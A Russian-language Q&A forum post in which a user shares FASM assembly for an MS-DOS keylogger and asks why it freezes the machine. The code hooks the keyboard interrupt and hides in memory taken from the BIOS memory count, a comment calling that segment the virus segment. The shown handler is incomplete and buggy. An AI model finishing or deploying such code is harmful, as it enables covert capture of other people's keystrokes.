создание кейлоггера в Fasm - PullRequest
0 голосов
/ 29 августа 2018

Я делаю кейлоггер в Fasm для MS-DOS, однако, когда я запускаю его, который останавливает мой компьютер, потому что в сегменте что-то не так: смещение памяти, используемой моим кейлоггером. Это источник, который я кодирую:

cli
push es
mov ax,0
mov es,ax
es
mov bx,[24h]
es
mov dx,[26h]
es
mov [180h],cx
es
mov [182h],dx
PUSH DS
MOV BP,40H
MOV DS,BP
ds
dec word [13h]    ;Memory less by 1K
POP DS
int 12h         ;memory into AX
mov cl,6     ;because memory is in K
shl ax,cl
mov bp,ax ;ES is the virus segmentes
es
mov [24h],bx
es
mov [26h],bp
pop es
sti
push    es
mov             si,bp
mov             es,si
mov             si,code         
mov             di,0
mov  cx,codesize-code

repz
movsb
pop             es
push    es
mov             si,bp
mov             es,si
mov             si,keys         
mov      di,codesize-code+1024
mov             cx,36h
repz
movsb
pop             es
push            es
mov             ax,bp
mov             es,ax
mov             ax,codesize
mov             bx,codesize
mov             es,bp
es
mov             [bx],ax
pop             es
ret
code:
pushf
pushaw
sti
IN              AL,60H
mov             al,20h
out             20h,al
pop             es
pop             ds
popaw
popf
iret
keys db '',0
codesize:
buf db 1024 dup (0)   
iret

Если я использую сегмент: смещение 2000: 0 для хранения моего обработчика Int 9, это приложение работает нормально, однако, если я использую int 12h, чтобы получить сегмент памяти, чтобы поставить кейлоггер в MS-DOS, заморозить. затем что не так в моем источнике выше?

...